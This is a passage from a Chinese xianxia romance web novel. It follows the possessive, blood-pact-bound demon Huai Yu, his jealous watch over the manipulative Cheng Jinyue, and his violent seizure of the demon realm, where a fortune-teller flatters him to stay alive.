他不知道为什么,他不想程今越的身上冷冰冰的,这样会让他很难过,程今越应该健康一点。 怀钰顿了顿,自己为什么会这么想呢?程今越怎么样,跟他有什么关系吗? 他想了想,给出答案。 当然是因为,如果程今越死了,就没有人去爱他了。 他想要程今越一直爱他,不仅仅是在血契生效期间,所以他们的血契最好一辈子都不要解开。 他会帮程今越复仇,但是他不会让程今越帮他解开封印。 这样他们的血契就会永远存在,程今越就会一直爱他。 怀钰根本睡不着,他的心跳得很快,他格外精神,眼睛一会儿目不转睛地看向程今越,一会儿抬头茫然地看着天花板,脑子一瞬间竟然不能思考,记忆中的美好的回忆开始不断重演。 全都是关于程今越的。 怀钰要给程今越准备一个惊喜,要给她炼制一些丹药,这样程今越就会好得快一些。 怀钰翻身下床,正要离开,余光中却瞥见了一个不应该存在在这里的东西。 殿外摆放着一架古琴,通身贵气,价值不菲。 怀钰脸上的笑容瞬间凝滞了,殿中的气息随着他的变化更加肃杀。 他记得那个男的,叫萧极,好像以前也见过。 看起来斯文儒雅的,其实坏得要命,只会骗人。 装得要死,最好明天就去死。 你也配让程今越和你一起合奏?就你会吹箫? 费尽心思就想要和程今越站一起,其实程今越根本不会喜欢你的,真自以为是,吹得那么难听,真不知道有什么骄傲的资本,还送上古琴了…… 长得也非常一般,全靠那一身不知道哪儿偷来的衣裳首饰垒起来。 但程今越那个蠢货,说不定还会被这个骗子的外貌欺骗到。 不会的,程今越这么聪明的人,怎么会被他骗? 但是…… 怀钰越想越气,心中好像有一根刺。 怀钰想都没想,径直走向古琴,抡起拳头,带着格外猛烈的力量,一拳落在古琴之上,顿时轰隆破碎的声音传来,古琴瞬间破碎成几块,琴弦崩坏。 怀钰还不解气,他看着地上的已经坏掉的残躯,又踩了好几脚,浑身的愤怒都发泄在这张破琴上。 他捡起来,又狠狠地摔在地上,如此反复重复着。 怀钰觉得自己想得不对,其实程今越跟谁站在一起,关他什么事,这群蠢货居然还能看得上程今越,不懂也不理解。 她爱跟谁站在一起就跟谁站在一起,爱和谁合奏就跟谁合奏。 声音有些大,外面的守卫已经发现了殿中的异常,已经在往这边赶过来了。 怀钰这才愤愤撒手,离开时手中又点了火,一把将这琴烧成灰烬。 * 程今越醒来的时候,外面的天已经很亮了,她缓缓坐起身来,浑身传来剧烈的疼痛。 她睁眼的时候,便看到程蕴知从她身边站起来,她脸上泪眼婆娑,满是泪痕,眼睛红肿。 还未等程今越回过神来,程蕴知便一把抱住程今越,嚎啕大哭起来。 “小越,你终于醒了,呜呜——” “你知不知道,你已经睡了三天了!” “你要是死了,我也不活了,我们要一起去死!” 程蕴知抱得格外用力,她浑身的骨头都被裹紧,让她有些喘不过气。 程今越脑子非常疼痛,她极力地运转,开始思考着那天发生的事情。 “姐姐,我这不是没事嘛,咳咳咳。” 程今越虚弱地说着,习惯性地伸手摸了摸程蕴知的头。 她感受着全身,浑身都是撕裂的疼痛,她先是被程望捅了好几刀,又被萧极所伤,还多次使用感知,还好她命大,居然还是这样活下来了。 她浑身法力亏空,几乎已经无法感知到四周的气息了,这让她极度没有安全感。 随后她突然发觉自己的灵根有些怪异,这里面的气息不只是她的。 还有……怀钰的气息? 她记得自己最后用了全身的力气呼唤了怀钰,但是她的灵根为什么会有怀钰的气息? 程今越发现自己掌控灵力的能力比以前相比有所加强,但不多。 应该是怀钰做了什么,但是她自己的根基实在是太差了,几乎不能带来什么提升。 “姐姐,你还好吗?你有没有受伤?”程今越从程蕴知的怀抱里钻出来,她将程蕴知从头到尾看了一遍,眼眸中露着担心。 程蕴知的眼泪又要憋不住了,两行眼泪又涌了出来,“我没事,那么多人保护我。” “你都伤成这样了,还关心我,你知不知道,他们给我说,如果你三天内醒不过来,就要给你准备葬礼了。” 她一边哭一边说,声音断断续续地,抽噎个不停,程今越一边为她擦着眼泪。 程今越听到这儿突然一笑,“我这不是醒了嘛,没事的。” 她接过旁边婢女递过来的药,一口饮尽。 “对,我跟他们说了,你肯定没事的,所以我把这样说的医修全都杀了,让他们说这么不吉利的话!” 她窝在程今越的怀里,恶狠狠地说着。 “宗门怎么样呢?父亲与母亲呢?哥哥怎么样呢?”程今越一连串地问道。 程蕴知顿了顿,脸色变得煞白。 当时出事的时候,她周围的侍卫就连忙将她带到了安全的地方,其实外面发生了什么,她也不清楚。 但是她听到了外面刀剑相交的声音,她大概猜到是来了刺客。 这是她活到现在第一次碰到这样的事情,说心里不慌是假的。 她第一时间就想到了程今越,催促周围的人去寻找程今越,侍卫告诉她,他们已经在全力寻找程今越了,但程蕴知心中还是惴惴不安,但是她也做不到什么,只能在屋内等候着。 她一晚上都是睡得不安稳,脑海中一直浮现着程今越的脸。 到了深夜,她才得到了程今越的消息,而众人却不让她去探望程今越,程蕴知心中顿时一冷。 她拔剑就要杀人,众人才让她进去看望程今越。 看到程今越的瞬间,程蕴知的泪就奔涌了下来。 这是她那温柔漂亮的小越吗?浑身根本是体无完肤! 她放出命令,剑宗内以及天下所有的医修都来为程今越疗伤,却全都面露苦色。 程蕴知觉得浑身烦躁,她不能接受这样的结果,怒火上身,一夜之间她便杀了十几个医修。 父亲母亲?她也有想过,但是父母亲修为深厚,肯定不会出事的,不需要他关心。 她的哥哥?死了最好,她都不想过问。 宗门内的其他人? 死了就死了吧,世间的人千千万万,多一个不多,少一个人不少。 这些事情,她的父亲与母亲都会处理的,再往下走,还有她的哥哥,反正这些事情不会落到她的头上。 “我这几日都没有出去,他们不让我出去,我也不知道外面怎么了,但是肯定不会有什么事情的,小越别担心。” 程蕴知笑着说。 程蕴知本来也想出去看看,但是侍卫说宗门内还不安全,让她待在这儿别出去。 程蕴知也懒得去管那些人,倒也安安稳稳地待在屋内守着程今越。 程今越垂下眸子,“我只求大家无事就好。” 果然,这种事情问程蕴知,跟没问一样。 程蕴知还想拉着程今越说话,却被程今越以休息为理由婉拒了。 程蕴知想了想也觉得是,最后看着程今越吃了饭,她便离去。 而今屋内空荡荡的,只剩下了程今越一个人。 程今越坐在床上,想要思考什么,但是她觉得浑身不适,好像有什么东西一直在盯着她。 这和从前怀钰盯着她的眼神不一样,更为阴湿,更为裸露。 第24章 他的身上已经打上了程今越的烙印。 程今越感觉目光已经不单单落在她的身上,更是如潮湿一般,已经浸入了程今越的全身,从皮肤表层开始往里渗透,一点点浸染到她的五脏六腑,钻进她的血肉,她的骨髓。 好像从内到外都被人死死地盯着。 但是程今越一点办法都没有,她也无法感知到对方是谁,她如今重伤,浑身虚弱,使不出来一点法力,无法使用一点感知。 整整一天,都是如此。 除了怀钰,又还有谁呢? “是你吗,怀钰?”程今越问,不见丝毫的犹豫。 “什么?”幽幽的*声音从脑海里传出来。 “不是怀钰吗?如果是怀钰的话,我会很开心。”程今越微微勾唇笑着。 对面顿了顿,想要开口却又顿了顿,最后声音中带着一些难以掩盖的欣喜,“我听不懂你在说什么。” 他不太想承认,太羞耻了,他讨厌这样被发现的感觉,他是绝对不会告诉程今越的。 “怀钰,我们不是说好,要对彼此坦诚吗?我很喜欢和怀钰没有秘密的感觉,我喜欢怀钰一直看着我,我喜欢怀钰注视我。”程今越目光凝滞着,盯着远处的空白的墙。 怀钰愣了愣,程今越随口而出的话,就像是藤蔓一般,悄无声息地缠绕在他的心脏。 程今越,真的喜欢,这样吗? 可以他的认知来说,这不是一个正常人能够接受的行为,程今越不应该这样。 她不会又在骗他吧…… 他不想承认,若是对旁人,他不会有任何格外的情绪,可是对程今越,他就会想起每个深夜自己做的事情,这一切都让他羞耻心涌上心头。 “怀钰,可以告诉我吗?” 程今越的声音还在他的耳畔响起。 “是我做的又怎样……” “我当然要好好地监视你,免得你做出一些愚蠢的事情,拖我的后腿……” 怀钰骤然出现在程今越的身旁,像鬼魅一般。 他还是承认了,像是不受自己控制一般。 话刚落下,他就后悔了,为什么他要听程今越的话,她问就要说吗? 怀钰,你已经不像自己了,你好像变成了一只玩偶,一只狗。 可怀钰这样问自己的时候,却突然又愣住了。 他已经默认自己叫“怀钰”了,这甚至是程今越给他取的名字,他的身上已经烙印下了程今越的名字。 就像是戴在狗脖子上的项圈,上面写上了“怀钰”两个字。 怀钰低头看着程今越苍白的脸,他想为自己的行为找一点补,他皱着眉开始说。 “像你这么弱的废物,就该跟着他们一起死在昨日的血海之中,还浪费我的时间来救你,程今越,你就不会觉得……” 她柔柔地笑着,眼眸中带着笑,还没等怀钰说完,她便轻轻地伸出手将怀钰拉过来,将自己埋进怀钰的怀里。 怀钰顿时停了嘴,他听见程今越虚弱地开口,“对不起,怀钰,你会原谅我的,对吧?” “我只有怀钰了,如果怀钰也嫌弃我的话,我不知道该怎么好了。” “怀钰这样对我说话,我真的很难过,很难过,因为在我的心里,怀钰是很好很重要的人……” 程今越虚弱的声音开始带上哭腔,她吚吚呜呜的,埋在怀钰的怀里。 怀钰从来不知道怎么表达情绪,他其实有时候不是想说这样伤人的话,但是话到了嘴边,就变了味道。 所有想开口的话,都拐弯抹角变成了其他的东西,词不达意,别扭的,克制的,奇怪的。 他没学过怎么好好说话,他从小听过的就是最恶毒的辱骂,他也学得很快。 他好像要把这段关系搞砸了…… 但是程今越别想逃离他,他与程今越有血契,程今越短时间内是不会离开他的。 就算程今越要离开他,他就会把程今越关起来,永远只能注视他一个人…… “怀钰以后可以不要这样吗?” 怀钰顿了顿,“……看我心情。” 程今越还在哭着。 “好……我答应你。” 程今越的泪停住了,她眼中盈盈的,带着泪痕,开心与满意从她的眼中溢出,将怀钰抱得更紧了。 怀钰默默地也回抱住她,但没低头看着她,他别着头,心中记下程今越说的每一句话,在心中反复咀嚼着,越想越开心。 程今越脸上虽然笑着,但心中沉沉的情绪彰显着她的忍耐与烦躁,虽然除了她自己,没有人知道。 她当然喜欢被需要的感觉,她喜欢被怀钰看着,她喜欢伪装成弱小的一方,这会让怀钰放下防备心,会让怀钰更加信任她。 但这一切的前提是,她有灵力,可以感知到附近的气息,她能知道怀钰在什么地方。 一切的未知都会让她保持警惕,没有修为傍身的她,几乎没有容错,所以她不会信任任何一个人的话。 所以她需要赶紧吃灵根补充灵力。 她从怀钰身上离开,仔仔细细地看着他,突然发现怀钰今天有些不一样。 他的头发好好修剪过,不再遮挡住眼睛,露出好看的眸子,头发也用一根红色的簪子束了起来。 身上穿了一袭玄色锦缎长袍,竟是由上等的乌蚕丝织成,隐隐地泛着幽微的光泽,袖口与领口都以细密的银线绣着繁复的曼陀罗花纹。 这身衣服格外地适合他,将他修长的身材勾勒出来,让程今越不禁联想到衣服内肌肉的线条。 腰间束着一条宽边的墨色腰带,带扣是一枚莲花状的墨玉,散发着寒意。 这个墨玉有些新奇,莲花中心镶嵌了一颗红色的珠子,珠中的红色的东西如鱼一样游动着,诡异中透露着一丝妖冶。 这是程今越的血。 程今越将怀钰扫视了一遍,突然一愣,“怀钰,你今日真好看。” 她不得不承认,怀钰是有几分姿色在身上的。 从前她都没怎么注意他的脸,一心放在了他的灵根上,如今仔细一看,倒也算是她见过的人里长得很不错的。 怀钰被程今越看得有些不自在。 “不过是些衣裳皮囊罢了,谁打扮打扮都好看,就算是猪狗披上人皮也会骗了很多人。” 他话里有话。 程今越只是一笑,“怀钰是我见过最喜欢的一张脸。” 怀钰还绷着严肃的表情,但他上扬的眉毛已经彻头彻尾地出卖了他。 程今越突然想起来自己不久前准备的东西,差一点就忘记了。 几件衣裳放在一个箱子之中,放在怀钰的面前。 “怀钰身上总是带血,所以我很早之前就想给怀钰做两身衣服了,不过做衣服要些时间,所以今天才做好。” 程今越笑盈盈地将衣服从箱子里拿出来,放在怀钰的眼前。 怀钰神色躲闪地瞥了一眼衣裳,斜着眼眸,装作不在意地接过这两件衣服。 他一边用手摩挲着,一边看了两眼程今越,“神女殿下还会做衣服?” 程今越轻轻点头,“并不精通,只是以前在人间游荡的时候需要一些活下去的手段罢了。” “所以做得并不算特别好,还希望怀钰不要嫌弃。” 怀钰一边听着程今越说话,一边不经意地拿着衣服在身上轻轻比着。 出乎意料的,这两身衣服和怀钰格外合适,但是他从来没有告诉过程今越他的尺寸。 这两身衣服做工不差,刺绣精致,怀钰突然觉得自己身上的这件衣服好像有些黯然失色。 他都不知道程今越是什么时候去做的,程今越本就身子不好,还有些繁忙,剩下的时候竟然还要给他做衣裳。 “嗯……还行吧,勉勉强强……”怀钰将衣服放进了柜子里,悄悄收起来。 程今越笑着点着头,听到怀钰的评价,她脸上的笑更加灿烂,让怀钰浑身一怔。 程今越笑起来的时候其实很好看,不是平时那种为了作态的神佛一般的笑,是真正地笑起来。 他越来越不想要看到程今越落泪,他喜欢看到程今越笑。 怀钰看到程今越笑的时候,他的嘴角也忍不住上扬,他也忍不住跟程今越一起开心。 所以怀钰想了又想,舌头在嘴里都快要打结,最后才转出来一句话,“嗯……其实很好看,我很喜欢。” 程今越眼睛里的笑更浓,她轻轻伸手,想要摸摸怀钰的头。 但是程今越是坐在床上的,就算是站着,也要踮起脚才能勉强摸到怀钰的头,所以距离怀钰还有很长一段距离。 怀钰愣了愣,最后将眼睛别开,轻轻弯下腰,将头低下,放到程今越的手下,他的脸侧着,故意不看程今越。 熟悉的触感从他的头上传来,一股暖流从头顶蔓延到全身,他全身微微颤抖,深深吸了一口气,脸上忍不住挂上了笑。 “怀钰喜欢就好,这是最让我开心的事情了。” 当然好啦,这可是她让程蕴知身边的绣娘做的,都是世间顶尖的绣娘,做出来的东西能不好吗? 她哪里有时间去帮怀钰做衣裳,这不是自己会找衣服穿嘛,很乖呢。 程今越温柔的声音在怀钰耳边传来,让他浑身的血液都随之沸腾,全身都肿胀了起来,有个地方更是格外硬得格外突出。 怀钰意识到了什么,他的脸瞬间红了上来。 他以前几乎不会这样的,可是自从遇见程今越之后,这样的情况就更加频繁。 他总是忍不住想起来程今越白色的肌肤,带笑的眼睛,鲜红的嘴唇。 欲望如雨后春笋一般冒出来。 怀钰觉得自己这样不好,他从前是最不屑这种东西的人,这种东西是肮脏的,他看不上,也不会这样做。 程今越知道,也一定会讨厌他的吧。 一定不能让程今越发现。 而程今越却抚摸上他的脸,“怀钰,你的脸好红,你真好看。” 第25章 魔神。 怀钰换上了新衣裳,果然得到了程今越的青睐,这下程今越肯定能知道萧极那个蠢货也不怎么样,其实她也可以把目光放到自己身上。 这就要说到给怀钰出点子的这个人,此人虽然其貌不扬,但是倒还是有些水平。 怀钰觉得这个人还可以留着,不用杀,以后只要有关程今越的事情就全部去问他。 此人是在魔界遇到的一人。 怀钰浑身胀痛,他不能继续让程今越摸他了,他会忍不住的,所以他连忙从程今越的手下离开,轻咳两声,马上转移话题。 想起了他,怀钰便开始向程今越汇报自己在魔界的进度。 怀钰去收服魔界已经有一段时间了,过程很顺利,无非就是谁反对就杀了谁,没有任何阴谋诡计,他也不需要这些东西。 自从几百年前魔君被杀,魔界便元气大伤,逐渐变得式微,伤的伤,被封印的封印,溃不成军,最多只敢在仙门的边缘地带闹点事。 魔族分裂成了好多个小分支,各自为政,就这样零落地生活着。 结果,怀钰一来,就把封印在山里海里地里的魔物全部放了出来,众人皆大惊。 丰嘉城算是魔界之中最大的一个城镇,众人都纷纷议论着那只无名的魔。 尚老三坐在铺子中,坐得周正,神情惊恐,脸上有些麻子,“这人是谁啊?怎么从来没有见过,何时冒出来这样一个人物?我魔族终于有救了!” 许彦却不以为然,瘦削的身子倒在摇椅上,跷着二郎腿,一张耗子一样的脸,眼睛格外凸出,他神情不屑,带着冷笑,“我看他的身上不也有一层封印嘛,自己都自身难保了,还想救魔族,少在这里痴心妄想做白日梦了。” 他身边的女人却格外肥胖,肉将五官都挤在了一起,她靠着许彦,应声道,“正是如此,别说对抗仙门,就是闯到丰嘉城来都不一定吧。” “尚老三,你忘了我们是怎么来的丰嘉城吗,一路上可谓是凶险无比,他那毛都没展开的小子有什么本事?” “什么丰嘉城,盼香,你真是太给他脸了。我估计他现在连武禹城都过不了!” “好几天没消息了,估计都已经死了,哈哈哈,现在怕是都已经臭了吧!” 两人顿时笑了起来,笑声传遍了整个巷子。 尚老三虽然觉得二人说得有理,但老三没有他二人强,所以他从来都是谨言慎行,不敢多说话,多说多错,他连忙站起身就要离开,不想和他们说这件事。 更重要的是,那个人的消息,是他尚大力告诉他的,尚大力是他的亲侄子,住在离丰嘉城不远的镇龙城,那天夜里,尚老三就收到了尚大力的灵信,对方语重心长地告诉他了许多。 从魔界进入,最先到达的地方是桐水城,而怀钰之所以出名,便是因为他一路从桐水城杀来,仅凭一人,就连下数城。 消息之中,此人到了城门只有一句话,“我名怀钰,你们的魔君,顺者叩首,逆者皆诛。” 可谓是狂得没边。 众人自然不信,可紧随其后的便是落地的人头。 满城人的呼吸骤停,气氛变得诡异,随着一个人匍匐下身子朝怀钰叩首,便有更多的人跪下了身子。 一瞬间城内都是黑压压的一片。其实怀钰还没有展示出太多的手段,但众人却不住地朝他叩首。 所有人都能感知到怀钰身上的压迫感。 他身上全是血,脸上却带着笑,黑色的头发微微遮住眼睛,红色的眼眸从中透露出来。 那是绝对的压制,他只是站在城门之中,全身的威压便如潮水一般涌了上来,将所有人的骨头摁住,心脏也掐住,脖颈被扼住了一般,甚至无法呼吸。 众人只能颤颤巍巍地叩首,没有人敢直视他的眼睛。 尚大力那时就混杂在人群之中,是万千蝼蚁中的一粒,他吓得不轻,立马就把他见到的一五一十地告诉尚老三。 尚老三傍身的东西便是算卦,他天生就擅长这个东西,也算是靠这个在丰嘉城混了一点名气,他立马掐指一算,要看看此人到底是不是未来的魔君,结果他口吐鲜血,身受重伤,竟然未能算出结果! 尚老三大惊,此等天选之人的命运,不是他这等凡人能够触碰的。 所以他听见许彦和盼香的话,心中升起一阵后怕,尚老三的卦象与直觉一直都很准,他也很信这个东西,所以他转身就要走,不想在这儿呆了。 谁知尚老三刚一转身,许彦就一把拉住尚老三,“走什么啊,老三?” 许彦的力气极大,尚老三根本不是他的对手,尚老三一把被他拽到地上,“你不会还真的觉得那个人能跑到丰嘉城来吧,你真是蠢得没边了。” “哼,要是他真有胆量来丰嘉城,你爷爷许彦我,就要让他知道这块地盘的规矩,我要把他打得屁滚尿流,让他跪下来求……” 尚老三浑身疼痛,他正要爬起来,却听见许彦的声音戛然而止,他疑惑地抬头,尚老三只看见许彦愣了一下,随后他那老鼠干一样的脖子上就出现了一道细细的红线,从喉结处蔓延开来,随后绕了脖子一圈。 尚老三皱了眉头,想要开口提醒许彦,可还没等他开口,只是一瞬之间,尚老三的眼睛瞬间保护性地闭上。 他的心瞬间提到了嗓子眼。 他看到,许彦的下半身便如烟花一样瞬间炸开,血肉飞溅到了地上,绽放开来。 一个脑袋孤零零地滚落到地上,落到盼香的面前。 尚老三喉咙里要发出来的声音瞬间停住了,被恐惧生生遏止了, 胖女人盼香瞬间发出尖锐的尖叫,刺得尚老三耳根疼,可声音又在一瞬间停止了。 就好像是一根弦突然崩断。 尚老三眼睛瞪大着,看着盼香以奇怪的方式张着嘴,眼珠子开始充血,只是眨眼间。盼香的脑袋也在他的眼前爆裂开,随后瘫倒在地。 尚老三浑身颤抖着,瞪大着眼睛看着眼前的一幕,身上还混杂着两人的血肉。 他心跳得飞快,背后拔凉拔凉的。 一阵恐怖的威压从他的背后慢慢爬上来,像是千斤重一般压在他的身上。 有一只眼睛正在看着他。 不!是无数只眼睛…… 尚老三瞬间明白了。 他立马叩首,“贱民恭迎魔君大人!” 他的声音像是从身体里面爆破出来的,格外的大,还带着颤抖。 尚老三整个人匍匐在地上,几乎要贴在地面之上,他浑身打着颤,心脏要从胸脯里面跳出来。 这太可怕了,这人实在是太恐怖了。 许彦与盼香两人的修为在丰嘉城内都是数一数二的,却还没看到人,就已经丢了性命。 对方甚至都不用动手,仅仅是站在那里,就让他仿佛要被捏碎一般,仅仅是威压就能轻松捏死他。 他只是听闻着外面的人传来的消息,听闻那人有多么恐怖与可怕。 但消息始终只是消息,当尚老三真正面临他时,才明白这些人慌乱的举措,后怕的眼神。 无比纯粹而高贵的魔族血脉,碾压一切的存在。 他先是听见一声笑,随后便感知到了那人从他身前走过。 许彦的身子虽然炸开了,但是他还活着,他的眼睛还在转动,留着一丝气息,眼睛惊恐地看着怀钰。 怀钰调笑地走到许彦那颗脑袋面前,用脚踩在那颗头上,低着头,笑着,“然后呢?让我跪下来求你什么?” “怎么不继续说了,嗯?”那是少年的声音,如泉水般清冽,冷冷的,让人浑身颤抖。 许彦唯一的脑袋感受到强烈的挤压,像是被人放在手上,要被捏爆一般的痛苦。 他的泪水瞬间奔涌而出,他拼命地说着,“求您饶了我吧,求您饶了我吧!我知道错了,我知道错了!” 可是他已经不能发出声音。 怀钰身旁的侍卫都格外聪明,看得出来尚老三和顶撞魔君的人是一伙的,连忙上去就将尚老三押起来。 怀钰看着许彦,想直接杀了他,但是程今越曾经的话突然在他耳畔浮起,“怀钰,死是一件很轻松的事情,有时候甚至是解脱,他怎么可以这么轻松地去死呢?” 怀钰大彻大悟。 怀钰突然笑起来,“那你想活吗?” 许彦疯狂眨着眼睛,喉咙想要发出声音,五官扭曲在一起。 “好。那你就这么活下去吧。” 怀钰用法术将那颗头抬起来,朝身后匍匐在他身后的万千民众说,“谁能替我照顾他呢?” 人群瞬间沸腾,争先在怀钰面前表现着。 “君上,我可担此重任!”此时被压住的尚老三突然开口。 尚老三自小是家中最聪明的人,也是混得最好的人。 他懂得察言观色,低调收敛。 他知道若是被押到牢里面,他这辈子就完了。 那里面根本就是地狱,进去的人根本不可能出来。 尚老三心怦怦地跳,他趴在地上,不敢抬头。 怀钰缓缓地看向他,可还未等尚老三开口,就有人连忙抢先说,“君上,我与这人有不共戴天之仇,烦请君上交予我!” 这人胆子极大,迈了一步,站起身看了一眼怀钰。 四周顿时寂静,怀钰脸上的笑格外古怪,他先转了眸子,斜睨着这人,连头都不愿转。 众人在他的威压下都打着抖。 寂静持续了好一段时间,随后在众目睽睽之下,此人瞬间一分为二,滚落到了地上。 众人倒吸一口凉气! 第26章 将怀钰做成人偶,日日欣赏。 “凭什么?凭什么要让你大仇得报呢?” 怀钰突然大笑起来,红色的眼眸越发深。 凭什么这些人这么轻易就能心想事成,他的日子过得如此糟糕,他也见不得别人过得好,最好世界上所有人都跟他一样在苦难之中,永远痛苦,永远不得翻身。 只要他看到别人痛苦,他就会开心。 怀钰转过头看着尚老三,示意他说话。 尚老三浑身冰凉,感觉已经有一把刀架在了他的脖子上,但极强的求生欲让他强行冷静下来,他跪在怀钰身前,“君上,小人会算卦,丰嘉城中也算是有些小名,小人算定了君上今日会来此,所以专门在这儿等着为君上效力!” 怀钰挑了挑眉,眼睛看着尚老三,脸上的笑瞬间停止,所有人都随着他的动作浑身一抖。 完了!尚老三也要死了,尚老三可是人人皆知的聪明人,连他也要死了! 还有人能够伺候这位魔君! 众人都要吓哭出来,尚老三还稳在原地,控制着自己没有颤抖。 算卦? 不会真的有人信这个吧,怀钰什么都不信。 什么菩萨什么佛祖,什么仙什么教,他一个都不信。 他连命都不信。 这些都是弱者的说辞。 他只需要全杀了就好。 但怀钰立马想到程今越,想到大衍神女的座下万万信徒,他眼眸笑了笑,又立马想起孟朝与萧极,他的脸又瞬间冷了下来。 孟朝在帮程今越做事,他不敢杀,萧极背后势力庞大,程今越不会允许他去做这件事。 能不能算算这两个人什么时候死最好。 “好啊,那你帮我算算,若是算对了,就让你来。” 他笑盈盈的,学起了程今越的做派。 尚老三心中一惊,若是算怀钰的命运,自然是算不出来的,但若是算一下旁的东西,小的东西,他还是算得出来的。 尚老三熟练地演练的,仅仅几个呼吸之间,卦象便出来了,他心中一惊,脑子飞速转着。 “乾为天,天行健,君之象也。然今乾宫有变,遇泽风大过之象。君上近日是否心生忧虑,欲成事,此事为人事,却遇数劫,而这数劫,亦皆为人劫。” 尚老三小心翼翼地说着,生怕说错了一个字。 怀钰顿时睁开了眼睛。 将尚老三从头到尾看了一遍,除了脸上那一堆麻子之外,没有任何让人记得住的地方。 好像还真有些本事? 尚老三跪在地上,不敢抬头,他算出来的东西把他自己都吓一跳。 算命不过三方面,健康,事业,姻缘。 若是前两条都还好,偏偏算出了怀钰的姻缘卦! 这样恶劣且喜怒无常的人,还能有姻缘线,到底是谁家姑娘要被他祸害! 不过这条姻缘线也是曲曲折折,其中劫数不少,往后甚至有命劫。 这也正常,怀钰是命数很重的人,若是要与他相匹配,对方也必然是个命数重的人,不然就会把对方害死。 这条姻缘线极长,甚至有百年的时间,说明这姑娘也是个不凡的人,竟然能与他纠缠这么久。 不过之后的事情说不清楚与明白,他也只能算清最近的事情。 按照卦象来说,怀钰最近便是做事遇到了阻拦,姻缘上的阻拦,无非就两种情况,姑娘不喜欢他,或是遭遇了情敌。 姑娘能与他纠缠百年,定然也是有情意在的,但这数人劫,必定是遭遇了数位情敌。 但是尚老三不敢明说,他只敢说个大概,毕竟此人喜怒无常,他需得慢慢来。 怀钰突然觉得有些意思,他想了想,将许彦的头踢到了尚老三身前。 尚老三顿时大喜,磕了好几个头,格外用力,额头都快要磕出血。 “小人谢过君上!” 他本来已经想好了之后应该怎么说,但怀钰已经缓缓从他的身前离开了。 他大喜过望,心中连忙呼了一口气,但他做事讲究的就是一个谨慎,他生怕怀钰回头找他,遂在地上跪了许多,把态度摆明白,到时候就算是死,应该也能赐他个全尸。 尚老三不知道自己在地上趴了多久,几乎浑身的血液都要凝固了,他四肢都麻了,他才敢抬起头看着四周。 恐惧的余韵还在他的脑海里不断重复着。 魔族已经变天了,或者说整个世间都要变天了,他这样的小人物,要怎么在这样的洪流之中存活呢? 尚老三叹了口气,随后连忙将许彦收进自己的箱子里。 他看着许彦的眼睛,不敢多看一眼,仅剩下一个头竟然也能活下来,或许除了那位外没人能够做到了。 他方要往外走着,却听见有人叫住了他。 “尚道长,君上有请。” 尚老三愣愣地转过身,看着身旁的人。 这些都是曾经丰嘉城城主的人,他也都曾见过。 “老三,你真是厉害,竟然能被这位看上,苟富贵勿相忘!” 别人一边笑着一边给他说。 尚老三讪讪地笑了笑,跟着人走着,腿都是麻的。 这是福气吗?这是好事儿吗? 福祸相依,伴君如伴虎。 何况怀钰哪里是一只虎,根本就是活阎王,在他手里,自己又能多活几天! 尚老三心中暗叹,可怜他的妻子和一个可爱的女儿,怕是以后不能再见到了。 丰嘉城中,怀钰正待在曾经的城主府中,城主府格外奢华,一看就是过锦衣玉食生活的人。 其实,怀钰一直生活在凡间,他对魔界并不熟悉,从前他不觉得自己是魔,他觉得自己应该是人。 后来这群人要把他封印在魔界之中,他偏偏有逆反心理,要他去魔界他就偏不去,他就要在人间一直杀人,让所有人心神不宁。 到后来,那群魔族竟然还出了走狗,和仙门一起联手骗他,他最初以为是同族,轻了防备,结果差点被害,所以他对魔族也没有什么好感。 怀钰觉得自己既不是魔,也不是人,这天地间他什么也不是,他没有归宿,也没有同类。 不过现在不一样了。 他觉得程今越真聪明,竟然知道魔界之中还有这么多好地方。 等把大衍剑宗解决了之后,他就带着程今越来这里住。 怀钰越想越远,便又想起了今天的尚老三。 他根本不信这些,不过是好奇地问一问罢了,权当个乐子,跟程今越有什么关系呢,他其实也不是很在乎。 想着的时候,尚老三已经走到跟前了,朝他三跪九叩,格外懂事。 怀钰坐在大殿之中,其余人皆退了下去。 “我且问你,你说我有人劫,你倒说说,我应该如何做?” 这话一出,尚老三浑身一抖。 他就是个臭算命的,不是神仙!算出劫数容易,算出解法可就难了。 尚老三想了想一家老小,脑子转得飞快。 无非就是姻缘,说来说去也无非就是那些点子。 他掐指又一算,“君上此人劫可解!但需徐徐图之,不可贸然推进。不过君上放心,君上要成的此人事,乃吉相,中间虽有劫数,但并不算大劫,小人先恭喜君上,贺喜君上!” 怀钰想了想,心情突然有些舒畅。 程今越本来就很爱他,其他人那么蠢那么弱,程今越怎么可能看上他们! 这样浅显的道理,被这蠢货猜到,也并不算难题。 他点了点头,示意尚老三接着说。 尚老三一身全是冷汗,有了些劫后余生的窃喜,又给他误打误撞猜对一次。 尚老三更是吸了口气,看着怀钰的表情,拿出他行走江湖四十年积累的话术,将怀钰的情况说了个遍,若是怀钰表情不变,他便排除,若是怀钰眉梢上扬,那必定就是他说对了。 一番口舌下来,他大概明白怀钰如今的情况。 这位君上虽然喜怒无常,暴戾恣睢,但喜怒于形,不善伪装,给了他许多机会。 他情况已然明了,君上其实是爱上了某位女子,但或是情感方面天资愚钝,并不能知晓自己的心意。 而此时,君上应当就是想要铲除情敌,获得女子芳心,但自身又过于别扭,所以他还需照顾君上的脸面,不能直接点破。 尚老三吸了口凉气,继续掐算着,“君上放心,此人劫面上凶险,实则平稳,因君上结因果那人心意并不会节外生枝,心思专一,只欲与君上成事,此人劫不必多虑,只需多于这因果之人相来往便好。” 其实尚老三最多也就得一个模糊的卦象,其余全靠他四十年刀尖舔血的经验胡诌,好在怀钰神色不错,对他的话竟然没有一丝异议。 他心中更是生出疑惑,或许这位君上怕是极少与人来往,怕是连算命的都没有找过,与他的修为实力完全不相匹配。 如此想来,尚老三心绪更加平稳,却不敢多一分自傲,他清楚地知道,要不是这位君上不通此行,他的小命怕是早就保不住了。 怀钰点了点头,哼,不过是跟他想得一样,听程今越的话就行。 其实也没多大的本事,只是证明了他的选择都是正确的,不过也是,他又怎么会选错呢? 虽是这么想着,但他心中却还是有些雀跃,心情莫名的大好。 这些算命的都说他能和程今越长长久久,那定然是没有问题的,连他们都能算到的东西,自然是板上钉钉了。 尚老三稽首,眉眼含笑,谀声道:“君上聪慧过人,超凡脱俗,拥经天纬地之才,人中龙凤,万里无一,只轻轻出手,便将我魔界三十六城通通收复,而这等小事,君上定能运筹帷幄之中,决胜千里之外,君上又何须多虑呢?” 怀钰嘴角微微上扬,觉得这尚老三说话真是分外中听。 说得对,程今越都说爱他了,还能跟别人在一起不成,还能骗他不成? 第27章 被程今越吃掉,也会很幸福吧? 虽然程今越很会骗人,但他们之间可是有血契存在,程今越不爱他就会死,他又担忧什么呢? 